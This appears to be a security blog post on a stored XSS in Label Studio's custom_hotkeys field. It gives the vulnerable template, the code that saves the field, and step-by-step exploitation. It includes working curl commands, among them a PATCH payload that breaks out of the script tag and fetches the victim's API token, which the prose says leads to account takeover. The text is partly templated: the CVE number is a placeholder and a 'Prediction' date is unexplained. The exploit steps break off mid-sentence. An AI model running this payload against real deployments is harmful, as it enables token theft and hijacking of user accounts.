Label Studio, Persistent Stored XSS, CVE-2025-XXXXX (Critical)

Listen to this Post

How the CVE Works

The vulnerability is a persistent stored Cross-Site Scripting (XSS) within the `custom_hotkeys` feature. An authenticated attacker can inject malicious JavaScript by sending a crafted PATCH request to the `/api/users/{id}/` endpoint. The payload is stored in the user’s `custom_hotkeys` JSON field. The application’s template `templates/base.html` renders this user-controlled data unsafely. It uses a custom filter `json_dumps_ensure_ascii` paired with the `|safe` filter, which does not escape dangerous HTML sequences like </script>. This allows the attacker to break out of the existing script tag and inject new ones. When any other user loads a page that uses this base template, the malicious script executes automatically in their browser context. The exploit chain is critical because the application also exposes a `/api/current-user/token` endpoint with relaxed CSRF protections. The injected script can call this endpoint, steal the victim’s API token, and send it to an attacker-controlled server, leading to full account takeover.
Platform: Label Studio
Version: <= 1.21.0
Vulnerability : Stored XSS
Severity: Critical
date: 2026-01-13

Prediction: 2026-02-10

What Undercode Say

Bash Commands and Codes

Identify user ID
curl -H "Cookie: sessionid=..." http://0.0.0.0:8080/api/current-user/whoami
Send malicious PATCH request
curl -X PATCH http://0.0.0.0:8080/api/users/25 \
-H 'Content-Type: application/json' \
--data-binary '{"custom_hotkeys": {"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/xx":{"key":"x","active":true}}}'
<!-- Vulnerable template code (templates/base.html) -->

<script>
var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};
</script>

Insecure serialization (users/api.py)
user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

How Exploit

1. Attacker logs into the application.

2. Attacker identifies their user ID via `/api/current-user/whoami`.

  1. Attacker sends a PATCH request to `/api/users/{id}` with a malicious JSON payload in the `custom_hotkeys` field.
  2. The payload contains a break-out sequence `
    Scroll to Top